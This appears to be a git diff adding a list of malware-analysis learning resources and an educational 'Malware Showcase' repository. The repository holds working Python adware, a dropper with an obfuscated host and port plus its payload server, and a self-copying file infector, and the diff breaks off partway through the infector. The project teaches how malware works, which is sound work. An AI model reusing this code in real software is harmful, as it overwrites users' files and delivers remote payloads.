+* Malware Traffic Analysis - http://www.malware-traffic-analysis.net/training-exercises.html
+* MIT Open Courseware - https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-858-computer-systems-security-fall-2014/video-lectures/
+* OALabs - https://vimeo.com/oalabs
+* OALabs - https://www.youtube.com/channel/UC--DwaiMV-jtO-6EvmKOnqg/videos
+* MalwareAnalysisForHedgeHogs - https://www.youtube.com/channel/UCVFXrUwuWxNlm6UNZtBLJ-A
+* Malware Unicorn - https://securedorg.github.io/
+* Tuts4You - https://tuts4you.com/
+* Lenas Reversing for Newbies - https://tuts4you.com/download.php?list.17
+* Introduction to WinDBG - https://www.youtube.com/watch?list=PLhx7-txsG6t6n_E2LgDGqgvJtCHPL7UFu&time_continue=1&v=8zBpqc3HkSE
+* Colin Hardy - https://www.youtube.com/channel/UCND1KVdVt8A580SjdaS4cZg/videos
+* OWASP AppSec Tutorials - http://owasp-academy.teachable.com/p/owasp-appsec-tutorials
+* Modern Binary Exploitation - https://github.com/RPISEC/MBE
+* FuzzySecurity - http://www.fuzzysecurity.com/tutorials.html
+* Linux Journey - https://linuxjourney.com/
+* Pivot Project - http://pivotproject.org/
+* Security Tube - http://www.securitytube-training.com/index.html
+* Packet Life Cheat Sheets - http://packetlife.net/library/cheat-sheets/?_escaped_fragment_=#!
+* SecurityXploded - http://securityxploded.com/
+* MalwareMustDie - https://www.youtube.com/playlist?list=PLSe6fLFf1YDX-2sog70220BchQmhVqQ75
+* Win32Assembly - http://win32assembly.programminghorizon.com/tutorials.html
+* RPISEC - https://github.com/RPISEC/Malware/blob/master/README.md
+* RPISEC - https://github.com/RPISEC/MBE
+* Reverse Engineering Challenges - https://challenges.re/
+* HackerOne - https://www.hackerone.com/
+* Google Python Class - https://developers.google.com/edu/python/
+* Guide to x86 Assembly - http://www.cs.virginia.edu/~evans/cs216/guides/x86.html
+* Code Blocks - http://www.codeblocks.org/
+* Wireshark Course - https://www.youtube.com/watch?v=XTSc2mPF4II&t=25s
+* Maltrak Malware Analyst webinar - http://maltrak.com/webinar-registration
+* Intro to ARM assembly basics - https://azeria-labs.com/writing-arm-assembly-part-1/
+* Life in Hex - https://lifeinhex.com/category/reversing/
+* The Cuckoo's Egg Decompiled Online Course - http://chrissanders.org/cuckoosegg/
+* Creating Yara Rules for Malware Detection - https://www.real0day.com/hacking-tutorials/yara
+* Windows Privilege Escalation Guide - https://www.sploitspren.com/2018-01-26-Windows-Privilege-Escalation-Guide/
+* Amr Thabet shellcode training - https://www.youtube.com/channel/UCkY_8Hz8ojyQQ9S6bPnHa7g
+* Hexacorn Converting Shellcode to Portable Executable (32- and 64- bit) - http://www.hexacorn.com/blog/2015/12/10/converting-shellcode-to-portable-executable-32-and-64-bit/
+* Learn Forensics with David Cowen - https://www.youtube.com/user/LearnForensics/featured
+* Raphael Mudge (various, In-memory evasion/detection) - https://www.youtube.com/user/DashnineMedia/videos
+* Assembly programming tutorial - https://www.tutorialspoint.com/assembly_programming/index.htm
+* RPISec Training - https://github.com/RPISEC/Malware
+* Intro to Computer Science - https://www.edx.org/course/introduction-to-computer-science-and-programming-7
+* Ringzer0 - https://www.ringzer0.training/
+* Reversing Hero - https://www.reversinghero.com/
+* MIT Open Courseware - https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/video-lectures/
+* Reverse Engineering and malware analysis 101 - https://github.com/abhisek/reverse-engineering-and-malware-analysis
+* Reverse engineering intel x64 - https://github.com/0xdidu/Reverse-Engineering-Intel-x64-101
+* C++ Tutorial for Beginners - Full Course - https://www.youtube.com/watch?v=vLnPwxZdW4Y
+* ELF Reversing Tutorial - https://www.youtube.com/playlist?list=PLsNNY-Xea3ra42GZDnvTB46G4p-5oUpFf
+* Adversary Tactics: PowerShell - https://github.com/specterops/at-ps
+* Malware Unicorn Reverse Engineering 101 - https://malwareunicorn.org/workshops/re101.html#0
+* Modern Binary Exploitation - http://security.cs.rpi.edu/courses/binexp-spring2015/
+* Ghidra Courses - https://ghidra.re/online-courses/
+* Technical Writing Courses - https://developers.google.com/tech-writing
+* Introduction to Malware Analysis and Reverse Engineering - https://class.malware.re/
+* Binary Analysis Course - https://maxkersten.nl/binary-analysis-course/
+* Josh Stroschein - https://www.youtube.com/user/jstrosch/videos
+* How to hack together your own CS degree online for free - https://www.freecodecamp.org/news/how-to-hack-your-own-cs-degree-for-free/
+* Zero 2 Automated - https://courses.zero2auto.com/adv-malware-analysis-course
+
+
+
+# Unpacking:
+* UnpacMe - https://www.unpac.me/#/
+* Unipacker - https://github.com/unipacker/unipacker
+
+
+
+# VBA Deobfuscation Tools:
+* pcodedmp - https://github.com/bontchev/pcodedmp
+* vba-dynamic-hook - https://github.com/eset/vba-dynamic-hook
+* ViperMonkey - https://github.com/decalage2/ViperMonkey
+
+
+
+# Video:
+* Teach Yourself Computer Science - https://teachyourselfcs.com/
+* CS50 at Harvard - https://cs50.harvard.edu/
+* J4vv4D - https://www.j4vv4d.com/videos/
+* Movies for Hackers - https://github.com/k4m4/movies-for-hackers
+* Can You Hack It - https://www.youtube.com/watch?v=GWr5kbHt_2E
+* Chris Nickerson talk - http://www.irongeek.com/i.php?page=videos/derbycon5/teach-me14-started-from-the-bottom-now-im-here-how-to-ruin-your-life-by-getting-everything-you-ever-wanted-chris-nickerson
+* Zoz - Don't Fuck it Up - https://www.youtube.com/watch?v=J1q4Ir2J8P8
+* Rob Joyce (NSA) - Disrupting Nation State Hackers - https://www.youtube.com/watch?v=bDJb8WOJYdA
+* Movies for Hackers - https://github.com/k4m4/movies-for-hackers
+* Wannacry: The Marcus Hutchins Story - All 3 Chapters - https://www.youtube.com/watch?v=vveLaA-z3-o&t=451s
+* DEF CON 23 - Chris Domas - Repsych: Psychological Warfare in Reverse Engineering - https://www.youtube.com/watch?v=HlUe0TUHOIc
+* SAS2018: Finding aliens, star weapons and ponies with YARA - https://www.youtube.com/watch?v=fbidgtOXvc0
+
+
+
+# XOR Decoding Tools:
+* bbcrack - https://www.decalage.info/python/balbuzard
+* Brutexor - https://www.aldeid.com/wiki/Brutexor-iheartxor
+* ConverterNET - http://www.kahusecurity.com/2017/converternet-v0-1-released/
+* NoMoreXOR - https://github.com/hiddenillusion/NoMoreXOR
+
+
+
+# Yara Related:
+* Yara - https://virustotal.github.io/yara/
+* Stringless Yara Rules - https://inquest.net/blog/2018/09/30/yara-performance
+* YarGen - https://github.com/Neo23x0/yarGen
+* Yara-Rules - https://github.com/Yara-Rules/rules
+* CONFidence 2019: "Utilizing YARA to Find Evolving Malware" - Jay Rosenberg - https://www.youtube.com/watch?v=XMZ-c2Zwzjg
+* SANS Webcast - YARA - Effectively using and generating rules - https://www.youtube.com/watch?v=5A_O8X_JljI
+* Klara - https://github.com/KasperskyLab/klara
+* Open Source Yara Rules - https://github.com/mikesxrs/Open-Source-YARA-rules
diff --git a/Malwares/malware_showcase/.gitignore b/Malwares/malware_showcase/.gitignore
new file mode 100644
index 0000000..f587935
--- /dev/null
+++ b/Malwares/malware_showcase/.gitignore
@@ -0,0 +1 @@
+virtualenv
\ No newline at end of file
diff --git a/Malwares/malware_showcase/LICENSE b/Malwares/malware_showcase/LICENSE
new file mode 100644
index 0000000..9ea8109
--- /dev/null
+++ b/Malwares/malware_showcase/LICENSE
@@ -0,0 +1,22 @@
+Copyright (c) 2019 Patrik Holop
+
+Permission is hereby granted, free of charge, to any person
+obtaining a copy of this software and associated documentation
+files (the "Software"), to deal in the Software without
+restriction, including without limitation the rights to use,
+copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the
+Software is furnished to do so, subject to the following
+conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+OTHER DEALINGS IN THE SOFTWARE.
diff --git a/Malwares/malware_showcase/README.md b/Malwares/malware_showcase/README.md
new file mode 100644
index 0000000..2a85cd6
--- /dev/null
+++ b/Malwares/malware_showcase/README.md
@@ -0,0 +1,48 @@
+![license](https://img.shields.io/badge/License-MIT-green)
+![version](https://img.shields.io/badge/Version-1.1-blue)
+![dev](https://img.shields.io/badge/Dev-Python3-brightgreen)
+![types](https://img.shields.io/badge/Malware%20Types-7%20-red)
+
+# Malware Showcase
+
+<img align="middle" src="https://github.com/PatrikH0lop/malware_showcase/blob/master/logo.svg">
+
+This repository contains explanatory examples of malicious behavior like _file infection_ or _remote code execution_. It's supposed to demonstrate and explain
+the nature of malicious software with practical examples in Python.
+
+**Note:** _This repository contains examples of malicious files. It should be used for educational purposes only. Usage of files in this repository for any other purpose might cause you legal issues, even though the provided examples are very simple. It is advised to follow the instructions._
+
+### Showcase structure
+
+- **File infector** - This kind of malware infects other files. Common example of such behavior is _code injection_. Malicious code is injected into targeted files and might be later executed. This allows the file infectors to spread. The purpose of their payload might differ, from harmless to destructive behavior.
+ - [Simple file infector in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/file_infection)
+- **Trojan (trojan horse)** - This kind of malware tries to look like a legitimate software and the malicious activity is hidden from the victim. Common example of such behaviour is _spying on victims_. Trojans can be more precisely classified by a purpose of the malicious segment. They were named after the Greek story, in which the city of Troy has accepted a statue of wooden horse as a gift from their enemies, while the enemy soldiers were hidden inside.
+ - [Simple trojan in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/trojan)
+- **Worm** - This kind of malware tries to spread on the network and does not need a host file to spread. Worms might contain malicious payload and execute commands on the compromised systems or just consume the network bandwidth to jam the communication.
+ - [Simple worm in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/worm)
+- **Spyware** - This kind of malware tries to spy on the victim and steal his or her data. There exist various ways of spying on the victim, for example scanning the pressed keys on the keyboard. In comparison with the trojan horse, spyware stays often hidden from the sight of the victim.
+ - [Simple keylogger in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/spyware)
+- **Ransomware** - This kind of malware tries to encrypt your files or even restrict your access to the system until a financial ransom is paid. It might continuously remove your files to increase the threat and force you to submit. Ransomwares became very popular in the recent years.
+ - [Simple ransomware in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/ransomware)
+- **Adware** - This kind of malware tries to aggressively show ads to the victims. Usually it is just an annoying software that does not have any harmful intentions. Adware might try various methods to make the advertising more persistent.
+ - [Simple adware in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/adware)
+- **Dropper** - This kind of malware attemps to download or dump malicious code to the target system. The malware can be secretly embedded in the dropper itself or downloaded from a remote server. It often tries to avoid detection by obfuscation and encryption.
+ - [Simple dropper in Python (with explanation)](https://github.com/PatrikH0lop/malware_showcase/tree/master/dropper)
+
+### Installation
+
+Make sure that you have installed [Python3](https://www.python.org/download/), system package `python3-dev` and Python package `wheel`.
+```console
+sudo apt install python3-dev
+pip3 install wheel
+python3 setup.py bdist_wheel # You might need to run this command as well.
+```
+
+To setup a virtual environment, run the following command:
+```console
+source setup_env.sh
+```
+Or you can install required Python packages listed in `requirements.txt` on your own.
+If something goes wrong during the installation, the script should provide you information
+about possible failures. You can then focus on the problematic steps in `setup_env.sh` and
+fix the problem.
diff --git a/Malwares/malware_showcase/adware/README.md b/Malwares/malware_showcase/adware/README.md
new file mode 100644
index 0000000..a15eb1c
--- /dev/null
+++ b/Malwares/malware_showcase/adware/README.md
@@ -0,0 +1,46 @@
+# Adware
+
+Adware is usually the least harmful type of malware, because it tries to promote some products and force the user to see advertisements in many ways, for example in the web browser every time the user loads a website. Our adware shows three annoying popup windows on the screen promoting various products.
+
+#### Demonstration of behavior
+
+We don't need any specific preparation before an execution of the adware (`./adware.py`). Immediately after the execution we can see three popup windows showing advertisements on our screen. This might be annoying and still relatively fine, but when we press the close button on any popup window, nothing happens and the ad is still shown on the screen.
+
+Creation of basic **adware** is very simple process as it is described below. That's why you should be always cautious when executing uncommon or not trusted files.
+
+#### How does it work
+
+- Firstly, we create our **adware** and pass it arguments from the system. Because we need a proper GUI,
+ we are using Python module called [PySide2](https://pypi.org/project/PySide2/). To learn more about GUI programming, see [the guide to GUI programming in Python](https://wiki.qt.io/Qt_for_Python). Our class **Adware** inherits from the **QApplication** and represents main QT application.
+ ```python
+ adware = Adware(sys.argv)
+ ```
+- We call the method _show_ads()_, which creates dialog popups and pass the references to these forms to variable in main module `windows`. It is important not to loose reference to those windows, because otherwise they will not be shown on the screen.
+ ```python
+ windows = adware.show_ads()
+ ```
+- Our adware has a property **advert_slogans**, which represents a list of ad slogans we want our victim
+ to see. For each of those slogans we want to create a unique popup window by calling the method _create_ad_window()_.
+ ```python
+ ad_windows = []
+ for advert in self.advert_slogans:
+ # Create a new ad window.
+ ad_window = self.create_ad_window(advert)
+ ```
+- Because these windows would popup on the same place on the screen and overlap each other, we need to move the created popup windows to random location on the screen.
+ ```python
+ # Move this window to random location on screen.
+ x_coordinate, y_coordinate = random.randint(1, 800), random.randint(1, 600)
+ ad_window.move(x_coordinate, y_coordinate)
+ ```
+- To create a popup windows, our function _create_ad_window_ creates a new **AdWindow** with the given slogan. To show the window on the screen, we must call the method _show_.
+ ```python
+ window = AdWindow(ad_slogan=ad_slogan)
+ window.show()
+ ```
+- The popup window called **AdWindow** inherits from **QDialog** and represents independent window with
+layout containing only one label showing the ad. However, to make adware more annoying and show ads more aggressively, we set the window to ignore close signal when the victim presses close button. When this happens, the window obtaines information about a new event called **closeEvent**. We will simply ignore any action so the window stays on the screen.
+ ``` python
+ def closeEvent(self, event):
+ event.ignore()
+ ```
diff --git a/Malwares/malware_showcase/adware/adware.py b/Malwares/malware_showcase/adware/adware.py
new file mode 100755
index 0000000..e0c9279
--- /dev/null
+++ b/Malwares/malware_showcase/adware/adware.py
@@ -0,0 +1,82 @@
+#!/usr/bin/env python3
+
+""" Implementation of simple adware that pops multiple
+windows with the advertisements.
+"""
+
+import logging
+import sys
+import random
+
+from PySide2.QtWidgets import QApplication, QDialog, QLabel, QVBoxLayout
+
+
+class AdWindow(QDialog):
+ """ This class represents ad window shown on the screen. """
+
+ def __init__(self, ad_slogan, parent=None):
+ super(AdWindow, self).__init__(parent)
+ self.setWindowTitle("Advertisement!")
+
+ # Create a layout so that the ad slogan is shown.
+ self.label = QLabel(ad_slogan)
+ layout = QVBoxLayout()
+ layout.addWidget(self.label)
+
+ self.setLayout(layout)
+
+ def closeEvent(self, event):
+ # Ignore the close event so that the ad
+ # can't be closed by pressing close button.
+ event.ignore()
+
+
+class Adware(QApplication):
+ """ This class represents implementation of adware. """
+
+ def __init__(self, args):
+ super(Adware, self).__init__(args)
+
+ @property
+ def advert_slogans(self):
+ """ Slogans of the promoted adds. """
+ return (
+ 'Buy the milk in the milk shops!',
+ 'Buy the clothes in the wool shops!',
+ 'Buy the food in the food shops!'
+ )
+
+ def create_ad_window(self, ad_slogan):
+ """ Creates a windows showing the advertisement
+ slogan.
+
+ :param str ad_slogan: Text of the ad.
+ """
+ window = AdWindow(ad_slogan=ad_slogan)
+ window.show()
+ return window
+
+ def show_ads(self):
+ """ Creates the main GUI application and shows
+ the ads based on `:class:~Adware.advert_slogans`
+ """
+ ad_windows = []
+ for advert in self.advert_slogans:
+ # Create a new ad window.
+ ad_window = self.create_ad_window(advert)
+ # Move this window to random location on screen.
+ x_coordinate, y_coordinate = random.randint(1, 800), random.randint(1, 600)
+ ad_window.move(x_coordinate, y_coordinate)
+ ad_windows.append(ad_window)
+
+ return ad_windows
+
+
+if __name__ == '__main__':
+ logging.basicConfig(level=logging.DEBUG)
+
+ # Create our adware and show the ads.
+ adware = Adware(sys.argv)
+ windows = adware.show_ads()
+
+ sys.exit(adware.exec_())
diff --git a/Malwares/malware_showcase/dropper/README.md b/Malwares/malware_showcase/dropper/README.md
new file mode 100644
index 0000000..aa83b22
--- /dev/null
+++ b/Malwares/malware_showcase/dropper/README.md
@@ -0,0 +1,111 @@
+# Dropper
+
+Our **dropper** is implemented in the file `dropper.py`. It tries to download some malicious code from a remote server and ideally avoid any detection. The server is implemented in the file `server.py` and sends the malicious payload to the targeted system as soon as the dropper requests a connection. Received payload is dumped into the file and the malware was successfully delivered.
+
+#### Demonstration of behavior
+
+The first thing that the attacker must do is to set up a server that distributes malware to its clients. Therefore, we will set up a running server on our computer by running `./server.py`. You should see the following text:
+```
+DEBUG:user:Server was successfully initialized.
+```
+In the second console, execute the **dropper** as a victim with the command `./dropper.py`. We should immediately see the following text on the attacker's console:
+```
+Connection with dropper established from ('127.0.0.1', 46682)
+```
+and the server shuts down. This means that our client has successfully connected to our server.
+
+To verify that the dropper has served its purpose, list the directory where the dropper is located and you will see that a new file `malware.py` has been created. For demostration purposes, the "malicious" code is just a simple command to print short text. Execute the file by running `python malware.py`. After doing so, you should see the following text:
+```
+Hello there
+```
+
+Creation of basic **dropper** is very simple process as it is described below and anyone can do it just with the basic knowledge of programming and understandment of operating systems. That's why we should be always cautious when we execute any uncommon or not trusted file.
+
+#### How does it work?
+
+##### Server
+
+- Firstly, we create our **server** that should send malicious code to a running **dropper** client executed
+ by the victim. The server will listen on the specific port that must be the same as is the one used by our **dropper**.
+ In this example, both the **server** and **dropper** will be executed on the same computer, but the
+ **server** might be remote and located anywhere in the world.
+ ```python
+ server = Server(27000)
+ ```
+ Communication is realized via **TCP** protocol specified by `socket.SOCK_STREAM` (To learn more about network protocols see [the guide to network communication](https://support.holmsecurity.com/hc/en-us/articles/212963869-What-is-the-difference-between-TCP-and-UDP-). <br>
+ ```python
+ self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ ```
+
+- Then we need to initialize the server by binding it to the specified port.
+ ```python
+ server.initialize()
+ ```
+- We can observe the malicious command that should be send to the dropper. In this case, it's just a simple command to print some text.
+ ```python
+ @property
+ def malware_code(self):
+ return b'print("Hello there")'
+ ```
+- The most important part is the connection with the victim. This is implemented in the _send_malicious_code_ function provided by the **server**. It waits for the connection initiated by the **dropper** after its execution on the victim's system. It then simply sends the payload and terminates the connection.
+ ```python
+ with connection:
+ print('Connection with dropper established from {}'.format(address))
+ # Send data to the client and close the server.
+ encoded_payload = base64.b64encode(self.malicious_code)
+ connection.send(encoded_payload)
+ ```
+- The first attempt to prevent detection is coming and it's encryption of the malicious code. What if someone sees everything we send over the network? If so, our malicious code might be detected immediately and communication stopped or the victim will be notified. That's why we use at least some layer of encryption. For demonstration, we can use basic encoding **base64**. To learn more about **base64** see [the guide to base64](https://blogs.oracle.com/rammenon/base64-explained).
+ ```python
+ encoded_payload = base64.b64encode(self.malicious_code)
+ ```
+
+##### Dropper (client)
+
+- Firstly, we must initialize our **dropper**. This service requires a name of the host (server) and the
+ specified port for communication. A host named `localhost` means that the server is listening on the same
+ system as our client. A second attempt is made to avoid detection. What if someone glanced over the code of our dropper and spots some suspicious address? Or maybe our victim scans the files for possible port numbers and if the number `27000` is displayed, they might suspect something. We have to hide this data somehow, so we pass some innocent looking arguments.
+
+ ```python
+ dropper = Dropper('tsoh', 'lacol', 729000000)
+ ```
+- If someone inspects the code, they can see the methods for network communication. However, based on the arguments passed to our dropper it's not clear with whom and which port will be used (maybe `729000000`?). We can construct the necessary connection attributes dynamically during runtime. Method _decode\_hostname_ takes two strings, switches their order and reserses them. From the first two arguments passed to our dropper we suddenly get the string `localhost`. And to get the port, we can simply calculate the square root from the last argument. Easy to do, but harder to detect.
+ ```python
+ def decode_hostname(self, str1, str2):
+ """ Constructs the hostname of remote server. """
+ return str2[::-1] + str1[::-1]
+
+ def decode_port(self, port):
+ """Constructs the port of remote server. """
+ return int(math.sqrt(port))
+ ```
+
+- Now, we try to connect to the server. This connection should remain hidden from the victim. The logged message is presented only so that we can detect any errors in our example.
+ ```python
+ try:
+ self.socket.connect((self.host, self.port))
+ except socket.error:
+ logging.debug('Dropper could not connect to the server.')
+ return
+ ```
+
+- Then the **dropper** tries to greet the victim as a harmless program.
+ ```python
+ # Try to act as an ordinary application.
+ print(
+ 'Hello, this is a totally ordinary app. '
+ 'I\'m surely not doing anything malicous'
+ )
+ ```
+- In the meantime, the client will try to receive the malicious code from the remote server. Remember that the data are encrypted using Base64, so we have to decode them and we have successfully downloaded the malware.
+ ```python
+ # Receive the malicious code in the encrypted form.
+ command = self.socket.recv(1000)
+ # Decode the malicious payload and dump it into a file.
+ decode_payload = base64.b64decode(command)
+ ```
+- The last thing left is to either execute the retrieved code or simply write it into a file. The payload was successfully delivered to the target system by doing so.
+ ```python
+ with open('malware.py', 'wb') as file:
+ file.write(data)
+ ```
\ No newline at end of file
diff --git a/Malwares/malware_showcase/dropper/dropper.py b/Malwares/malware_showcase/dropper/dropper.py
new file mode 100644
index 0000000..a70a62b
--- /dev/null
+++ b/Malwares/malware_showcase/dropper/dropper.py
@@ -0,0 +1,91 @@
+#!/usr/bin/env python3
+
+""" Implementation of dropper that downloads malicious code from the server
+ and dumps it into a file.
+"""
+
+import base64
+import logging
+import socket
+import math
+
+
+class Dropper:
+ """ This class represents the implementation of dropper.
+ """
+
+ def __init__(self, host1, host2, number):
+ # Construct hostname of the remote server from the first two
+ # arguments.
+ self._host = self.decode_hostname(host1, host2)
+ # Calculate the port number from the last argument.
+ self._port = self.decode_port(number)
+ # Initialize socket for the connection.
+ self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+ @property
+ def host(self):
+ """ Server that sends us the malicious code. """
+ return self._host
+
+ @host.setter
+ def host(self, new_host):
+ self._host = new_host
+
+ def decode_hostname(self, str1, str2):
+ """ Returns hostname of the remote server. """
+ return str2[::-1] + str1[::-1]
+
+ @property
+ def port(self):
+ """ Port, on which the server runs (`int`). """
+ return self._port
+
+ @port.setter
+ def port(self, new_port):
+ self._port = new_port
+
+ def decode_port(self, port):
+ """Returns target port of the remote server. """
+ return int(math.sqrt(port))
+
+ @property
+ def socket(self):
+ """ Client socket. """
+ return self._socket
+
+ def dump_data(self, data):
+ """ Write the retrieved data from the server into the file.
+ """
+ with open('malware.py', 'wb') as file:
+ file.write(data)
+
+ def download_malicious_code(self):
+ """ Download malicious code from the server. """
+ # Create a connection to the server.
+ try:
+ self.socket.connect((self.host, self.port))
+ except socket.error:
+ logging.debug('Dropper could not connect to the server.')
+ return
+
+ # Try to act as an ordinary application.
+ print(
+ 'Hello, this is a totally ordinary app. '
+ 'I\'m surely not doing anything malicous'
+ )
+
+ # Receive the malicious code in the encrypted form.
+ command = self.socket.recv(1000)
+ # Decode the command and dump it into a file.
+ decode_payload = base64.b64decode(command)
+ self.dump_data(decode_payload)
+
+
+if __name__ == '__main__':
+ logging.basicConfig(level=logging.DEBUG)
+
+ # Initialize dropper application.
+ dropper = Dropper('tsoh', 'lacol', 729000000)
+ # Collect the malicious code and dump it into the file.
+ dropper.download_malicious_code()
diff --git a/Malwares/malware_showcase/dropper/server.py b/Malwares/malware_showcase/dropper/server.py
new file mode 100644
index 0000000..f86b06f
--- /dev/null
+++ b/Malwares/malware_showcase/dropper/server.py
@@ -0,0 +1,68 @@
+#!/usr/bin/env python3
+
+""" Implementation of the server that sends some malicious code to its
+ dropper client.
+"""
+
+import base64
+import logging
+import socket
+
+
+class Server:
+ """ This class represents a server that stores some malicious payload and sends
+ it to the dropper once the connection is established.
+ """
+
+ def __init__(self, port):
+ self._port = port
+ # Initialize the socket for connection.
+ self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+
+ @property
+ def malicious_code(self):
+ """ Malicious payload. In this case just a demonstrative command. """
+ return b'print("Hello there")'
+
+ @property
+ def port(self):
+ """ Port, on which the server runs (`int`). """
+ return self._port
+
+ @port.setter
+ def port(self, new_port):
+ self._port = new_port
+
+ @property
+ def socket(self):
+ """ Server socket. """
+ return self._socket
+
+ def initialize(self):
+ """ Initialize server before the session. """
+ try:
+ self.socket.bind(('localhost', self._port))
+ self.socket.listen()
+ logging.debug('Server was successfully initialized.')
+ except socket.error:
+ print('Server was not initialized due to an error.')
+
+ def send_malicious_code(self):
+ """ Send malware to the client once the connection is established. """
+ # Establish a connection with the client.
+ connection, address = self.socket.accept()
+ with connection:
+ print('Connection with dropper established from {}'.format(address))
+ # Send data to the client and shut down the server.
+ encoded_payload = base64.b64encode(self.malicious_code)
+ connection.send(encoded_payload)
+
+
+if __name__ == '__main__':
+ logging.basicConfig(level=logging.DEBUG)
+
+ # Create and initialize a server running on attacker's side.
+ server = Server(27000)
+ server.initialize()
+ # Send a payload to the dropper client once it establishes a connection.
+ server.send_malicious_code()
diff --git a/Malwares/malware_showcase/file_infection/README.md b/Malwares/malware_showcase/file_infection/README.md
new file mode 100644
index 0000000..7914a25
--- /dev/null
+++ b/Malwares/malware_showcase/file_infection/README.md
@@ -0,0 +1,52 @@
+# File infection
+
+Our **file infector** is implemented in the file `infector.py`. It infects all files in the same directory with its own code that allows it to spread in the future. When the targeted file is executed, it should perform the same malicious infection on other files as our own **file infector**.
+
+#### Demonstration of behavior
+
+Observe `target_file.ext` before the execution of **file infector**. It is a simple file located in the same directory as our **file infector**. To see the behavior of **file infector**, simply execute it in this folder (```./infector.py```). You should see something like this:
+```
+DEBUG:user:Infecting file: ./target_file.ext
+DEBUG:user:Infecting file: ./infector.py
+INFO:user:Number of infected files: 1
+```
+Our **file infector** has tried to infect every file in this folder, even itself, but has successfully infected only `target_file.ext` (explained below). Now move the infected file into folder `target_folder/` and execute it the same way as we have executed our **file infector** (`./target_file.ext`). You should see similar information as above but this time we have successfully infected `target_file_2.ext` by using the infected `target_file.ext`.
+
+Creation of **file infector** is very simple process as it is described below and anyone can do it just with basic knowledge of programming and understandment of operating systems. That's why we should be always cautious when we execute any uncommon or not trusted file.
+
+#### How does it work?
+
+- Firstly, we create our **file infector** and give it a name. <br>
+ ```python
+ code_injector = FileInfector('SimpleFileInfector')
+ ```
+- Then we must **choose a folder** with files we want to infect. We call function *infect_files_in_folder*
+ that is provided by our **file infector** and pass the path to the folder as an argument. This function
+ returns the number of infected files. <br>
+ ```python
+ number_infected_files = code_injector.infect_files_in_folder(path)
+ ```
+- The first thing that needs to be done is a lookup for all filenames in the same directory. This implementation ignores _README_ files, because **file infector** would infect this file as well if you execute it.
+- The second step is to check whether the file has been already infected. If you run our **file infector** multiple times, you can see that it ignores files that it has already infected. This might be done by using some sort of mark left in the infected file together with injected code. In this case it is a string `INJECTION SIGNATURE` in the module docstring. Our **file infector** reads the content of the targeted file and if it contains this signature, malware continues with other files. <br>
+ ```python
+ """ Implementation of file infector in Python.
+ INJECTION SIGNATURE
+ """
+ ```
+- Because we expect the injected code to be executed, we must be sure that the targeted file has valid permissions for execution. To learn more about permissions, see [the guide to Linux permissions](https://www.linux.com/learn/understanding-linux-file-permissions).<br>
+ ```python
+ os.chmod(file, 777)
+ ```
+- The last step is to write the code of **our own file** into the targeted file.
+ ```python
+ with open(file, 'w') as infected_file:
+ infected_file.write(self.malicious_code)
+ ```
+- To obtain the **code of our own application**, we can simply read the source file. A name of the file is always passed as the first argument before the execution. We should obtain the name from this argument, because the infected files might have various names and the code should work in all of them. Because _malicious_code_ is a **cached property**, we
+ would access the source file only once.
+ ```python
+ malicious_file = sys.argv[0]
+ with open(malicious_file, 'r') as file:
+ malicious_code = file.read()
+ ```
+
diff --git a/Malwares/malware_showcase/file_infection/infector.py b/Malwares/malware_showcase/file_infection/infector.py
new file mode 100755
index 0000000..30a55a4
--- /dev/null
+++ b/Malwares/malware_showcase/file_infection/infector.py
@@ -0,0 +1,95 @@
+#!/usr/bin/env python3
+
+""" Implementation of file infector in Python.
+ INJECTION SIGNATURE
+"""
+
+import logging
+import os
+import sys
+from cached_property import cached_property
+
+
+class FileInfector:
+ """ This class represents the code injecting malware.
+ """
+
+ def __init__(self, name):
+ self._name = name
+
+ @property
+ def name(self):
+ """ Name of the malware. """
+ return self._name
+
+ @name.setter
+ def name(self, new_name):
+ self._name = new_name
+
+ @cached_property
+ def malicious_code(self):
+ """ Malicious code. In the case of this file
+ injector it is this whole file.
+ """
+ # Get the name of this file.
+ malicious_file = sys.argv[0]
+ with open(malicious_file, 'r') as file:
+ malicious_code = file.read()
+
+ return malicious_code
+
+ def infect_files_in_folder(self, path):
+ """ Perform file infection on all files in the
+ given directory specified by path.
+
+ :param str path: Path of the folder to be infected.
+ :returns: Number of injected files (`int`).
+ """
+ num_infected_files = 0
+ # List the directory to get all files.
+ files = []
+ for file in os.listdir(path):
+ # For the demostration purposes ignore README.md
+ # from the repository.
+ if file == 'README.md':
+ continue
+
+ file_path = os.path.join(path, file)
+ if os.path.isfile(file_path):
+ files.append(file_path)
+
+ # Inject each file in the directory.
+ for file in files:
+ logging.debug('Infecting file: {}'.format(file))
+
+ # Read the content of the original file.
+ with open(file, 'r') as infected_file:
+ file_content = infected_file.read()
+ # Check whether the file was already infected by scanning
+ # the injection signature in this file. If so, skip the file.
+ if "INJECTION SIGNATURE" in file_content:
+ continue
+
+ # Ensure that the injected file is executable.
+ os.chmod(file, 777)
+
+ # Write the original and malicous part into the file.
+ with open(file, 'w') as infected_file:
+ infected_file.write(self.malicious_code)
+
+ num_infected_files += 1
+
+ return num_infected_files
+
+
+if __name__ == '__main__':
+ logging.basicConfig(level=logging.DEBUG)
+
+ # Create file injector.
